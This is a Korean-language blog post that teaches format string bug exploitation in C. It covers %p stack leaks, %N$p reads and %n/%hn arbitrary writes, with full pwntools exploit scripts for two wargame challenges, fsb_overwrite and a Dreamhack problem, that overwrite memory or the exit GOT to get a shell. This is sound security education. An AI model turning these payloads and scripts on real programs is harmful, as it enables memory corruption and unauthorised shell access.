TIL: Format String Bug
Format String
printf
와 같은 함수들은 format string을 이용해 다양한 형태로 값을 출력한다.
이 함수들은 Format string을 채울 값들을 register나 stack에서 가져오는데, format string이 필요로 하는 argument의 개수와 함수에 전달된 argument의 개수를 비교하지 않는다. → 만약 사용자가 format string을 작성할 수 있다면 더 많은 argument를 요청해서 register, stack의 값을 읽어내거나 쓸 수 있다.
Format string의 구성
%[parameter][flags][width][.precision][length]type
-
type
형식 지정자 설명 d 부호있는 10진수 정수 s 문자열 x 부호없는 16진수 정수 n 인자에 현재까지 사용된 문자열의 길이를 저장 p void형 포인터 -
width
너비 지정자 설명 정수 정수의 값만큼을 최소 너비로 지정합니다. * 인자의 값 만큼을 최소 너비로 지정합니다. -
parameter
: 참조할 argument의 index를 지정한다. 이 필드의 끝은$
로 표기한다. index의 범위를 전달된 argument의 개수와 비교하지 않는다.
Format String Bug
https://jiravvit.tistory.com/entry/FSB-Format-String-Bug
https://jiravvit.tistory.com/entry/64bit에서-FSB-Format-String-Bug-이해하기-1
Format string을 사용자가 입력할 수 있을 때, register와 stack을 읽을 수 있고, 임의 주소에 대한 읽기 및 쓰기가 가능하다.
#include <stdio.h>
int main() {
char format[0x100];
scanf("%[^\n]", format);
printf(format);
return 0;
}
위와 같이 사용자에게 임의의 format string을 입력받아 printf(format)
을 실행하는 코드를 생각해보자.
%p
- Reading register & stack
Format string으로 %p %p %p %p %p %p %p %p %p %p %p
를 줬다면 이 format string은 10개의 argument를 요구하므로, 총 10개의 주소에 들어있는 값들을 출력하게 된다.
64 bit machine에서는 x64의 calling convention을 고려했을 때 rsi, rdx, rcx, r8, r9, [rsp], [rsp+8], [rsp+0x10], [rsp+0x18], [rsp+0x20]이 출력될 것이다.
마찬가지로 32 bit machine에서는 [esp+0x4], [esp+0x8], [esp+0xc], [esp+0x10], …의 값이 출력될 것이다.
참고로 %p는 32 bit machine에서는 4 byte, 64 bit machine에서는 8 byte를 출력한다.
%[N]$p
- 임의 주소 read하기
읽고자 하는 target address가 해당 machine의 calling convention 상 두 번째 argument의 위치와 얼마나 차이가 나는지(offset)를 N이라고 했을 때, %[N]$p
를 사용해서 해당 주소를 읽어낼 수 있다.
예를 들어, 64 bit machine에서 [rsp+0x10]
을 읽고 싶다면 %8$p
를 작성하면 된다. 또한 32 bit machine에서는 %4$p
를 작성하면 된다.
%n
, %hn
, %hhn
- 임의 주소 write하기
%n
은 4 byte에, %hn
은 2 byte에, %hhn
은 1 byte에 자신의 전까지 출력된 문자의 개수를 지정된 변수에 10진수 형식으로 작성한다. 이를 이용해 원하는 변수에 원하는 값을 넣을 수 있다.
#include <stdio.h>
int main(void) {
int val = 0x11111111;
printf("%4660c%n", 'a', &val); // 4660 == 0x1234
printf("\n");
printf("val: %p\n", val);
}
%c
를 이용해 원하는 값만큼 문자를 출력할 수 있다. 따라서 위와 같이 코드를 실행하면 val의 값은 0x1234가 된다.
굉장히 큰 값, 예를 들어 0x77778888 정도의 값을 특정 변수에 넣고 싶을 땐, 아래와 같이 exploit code를 작성해서는 안된다:
payload += p32(val)
payload += '%{}c'.format(0x77778888 - 4)
payload += '%7$n'
0x77778888은 십진수로 나타내면 약 20억으로, 20억이 넘는 문자들을 출력해야 원하는 동작을 실행할 수 있는데, 이는 시간이 매우 오래 걸려 불가능하다. 따라서 이런 경우에는 %hn
을 이용해 값을 두 번에 걸쳐서 나누어 담아야 한다.
32 bit machine 환경이라 가정했을 때, p32(val)에는 0x8888을, p32(val + 2)에는 0x7777을 저장해야한다.
payload = p32(val) # off 7
payload += p32(val + 2) # off 8
payload += '%{}c'.format(0x8888 - 8)
payload += '%7$hn'
payload += '%{}c'.format(0x10000 + 0x7777 - 0x8888)
payload += '%8$hn'
'%{}c'.format(0x8888 - 8)
: 앞에 작성한 두 주소val
,val + 2
의 길이 만큼을 빼주어야 정확히0x8888
의 값이 메모리에 들어간다.'%[]c'.format(0x10000 + 0x7777 - 0x8888)
: 앞에 작성한 0x8888 byte만큼을 빼주고 0x7777 byte만큼을 출력해야 val에 0x7777을 입력할 수 있는데, 0x8888이 0x7777보다 크므로 대신 0x17777만큼을 출력한다. → 2 byte만큼 값이 잘리므로 0x7777만큼의 값만이 메모리에 들어간다.
Format string에서 주소의 위치, alignment
32 bit machine을 exploit할 때에는 format string에 주소를 제일 앞에 적고, 그 뒤에 %p
, %n
과 같은 format 문자들을 집어넣는다. 반면에, 64 bit machine을 exploit할 때에는 주소를 format string의 마지막에 적는다.
64 bit에서는 주소가 3 byte이기 때문에, 8 byte만큼 data를 넣었을 때 나머지 5 byte가 NULL이 된다. 이때 printf
는 NULL까지만 문자열을 출력하기 때문에 주소를 맨 앞에 넣었을 경우 주소 뒤에 있는 format 문자들이 실행되지 않는 문제점이 생기게 된다. → 따라서 주소를 마지막에 적는다.
주소를 format string의 마지막에 넣더라도 입력한 모든 값이 출력되지 않는다는 사실은 변하지 않지만, 우리의 주 목적은 %{}c
, %hn
과 같은 format 문자를 실행하는 것이기 때문에 출력이 제대로 되지 않는 것은 상관이 없다.
64 bit machine을 exploit할 때에는 주소를 뒤에 적어주기 때문에 신경써줘야 할 점이 하나 더 있는데, 바로 주소를 입력할 때 8 byte alignment를 지켜주는 것이다.
payload = ''
payload += '%{}c'.format(0xabcd)
payload += '%11$hn'
payload += '%{}c'.format(0x10000 + 0x4321 - 0xabcd)
payload += '%12$hn'
payload += '%{}c'.format(0x8765 - 0x4321)
payload += '%13$hn'
payload += 'A'
payload += p64(check)
payload += p64(check + 2)
payload += p64(check + 4)
위와 같이 payload를 작성한다고 했을 때, 주소 바로 앞의 ‘A’ 문자를 입력하지 않을 경우 주소가 한 byte씩 밀려 엉뚱한 주소가 입력되기 때문에 Segmentation fault가 발생하게 된다. 따라서 항상 주소의 alignment를 지켜주기 위해 dummy 문자를 입력해야 하지는 않는지 확인하자.
또한 주소가 몇 번째 argument 부분에 위치하게 되는지도 debugger를 이용해 확인하거나, 글자수를 직접 세서 확인해야 한다. 주소가 format string의 마지막에 위치하므로, format string이 길어질 수록 주소의 offset이 커지게 된다.
Example Problem: fsb_overwrite
문제의 소스 코드는 아래와 같다.
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void get_string(char *buf, size_t size) {
ssize_t i = read(0, buf, size);
if (i == -1) {
perror("read");
exit(1);
}
if (i < size) {
if (i > 0 && buf[i - 1] == '\n') i--;
buf[i] = 0;
}
}
int changeme;
int main() {
char buf[0x20];
setbuf(stdout, NULL);
while (1) {
get_string(buf, 0x20);
printf(buf);
puts("");
if (changeme == 1337) {
system("/bin/sh");
}
}
}
Vulnerability Scanning
-
checksec
- FULL RELRO, PIE가 활성화되어 있다.
printf(buf)
에서 fsb가 발생한다. 또한 이 부분이 무한 루프로 감싸져 있으므로 여러 번 버그를 활용할 수 있다.- fsb를 이용해
changeme
를 1337로 변경하면 shell을 획득할 수 있다.
changeme
의 주소 구하기
changeme
의 값을 fsb를 통해 변경하려면 changeme
의 주소를 우선 얻어야 한다. PIE가 적용되어 있으므로 code base를 우선 구하고, 그 값으로부터 changeme
의 주소를 구한다.
gdb를 이용해 printf
가 실행될 시점의 stack의 구성을 확인해보자.
[stack+0x10]
에 __libc_csu_init
의 주소가 저장되어 있으므로 이를 활용해 code base를 구할 수 있다!
FSB payload 구성하기
changeme
의 값을 1337로 변경하는 payload를 작성해보자.
우선 기본적인 구성은 ‘%1337c
+ %[N]$n
+ changeme
의 주소’일 것이다.
이때 앞서 언급했듯이 changeme
의 주소가 제대로 align되어야 하므로 changeme
의 주소 바로 앞에 dummy character를 집어넣어야 한다. [N]이 한 글자라고 가정했을 때 changeme의 주소
까지의 글자 수가 10글자이므로, 8 byte씩 align되도록 하기 위해 총 6개의 dummy character를 집어넣는다. 이럴 경우 payload는 ‘%1337c
+ %[N]$n
+ AAAAAA + changeme
의 주소’가 된다.
changeme
의 주소 직전까지의 글자 수가 총 16글자이므로 changeme
의 주소는 [rsp+0x10]
에 위치하게 된다. 따라서 N은 8이다.
최종적인 payload는 ‘%1337c
+ %8$n
+ AAAAAA
+ changeme
의 주소’가 된다.
Exploit
from pwn import *
p = process("./fsb")
e = ELF("./fsb")
p.sendline("%8$p")
leaked = int(p.recvline()[:-1], 16)
code_base = leaked - e.symbols["__libc_csu_init"]
changeme = code_base + e.symbols["changeme"]
payload = "%1337c" + "%8$n" + "AAAAAA"
payload = payload.encode() + p64(changeme)
p.sendline(payload)
p.interactive()
- 앞서 언급한 방식으로 code base를 구한 뒤,
changeme
의 주소도 구한다. - FSB payload를 작성할 때 address를 제외한 부분은 string 형식으로 적은 뒤
payload.encode()
와 같이 string을 byte로 바꿔주는 과정을 거쳐야 한다.
Wargame: basic_exploitation_002
문제의 소스 코드는 아래와 같다.
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void get_shell() {
system("/bin/sh");
}
int main(int argc, char *argv[]) {
char buf[0x80];
initialize();
read(0, buf, 0x80);
printf(buf);
exit(0);
}
Vulnerability Scanning
Exploit
main
이 return하지 않고 exit(0)
을 실행하기 때문에 return address는 overwrite할 수 없다. 하지만 Partial RELRO가 적용되어 있어 exit
의 GOT를 overwrite할 수 있으므로, fsb를 이용해 exit
의 GOT를 get_shell
의 주소로 overwrite하면 된다.
from pwn import *
#p = process("./basic_exploitation_002")
p = remote("host3.dreamhack.games", 12532)
#gdb.attach(p)
e = ELF("./basic_exploitation_002")
get_shell = 0x08048609
exit_got = 0x804a024
payload = p32(exit_got)
payload += p32(exit_got + 2)
s = "%{}c".format(0x8609 - 8)
s += "%1$hn"
s += "%{}c".format(0x0804 - 0x8609 + 0x10000)
s += "%2$hn"
payload += s.encode()
p.sendline(payload)
p.interactive()
get_shell
의 주소와exit
의 got의 주소는 gdb를 이용해 얻는다.get_shell
의 주소가 0x08048609로 큰 값이므로 두 byte씩 끊어서%hn
을 이용해 메모리에 작성한다.
다른 사람의 풀이
from pwn import *
x = process('./basic_exploitation_002')
x = remote('host1.dreamhack.games', 8202)
e = ELF('./basic_exploitation_002')
payload = fmtstr_payload(1, {e.got['exit'] : e.symbols['get_shell']})
x.send(payload)
x.interactive()
pwn의 fmtstr_payload
함수를 활용하면 쉽게 payload를 작성할 수 있었다.
Leave a comment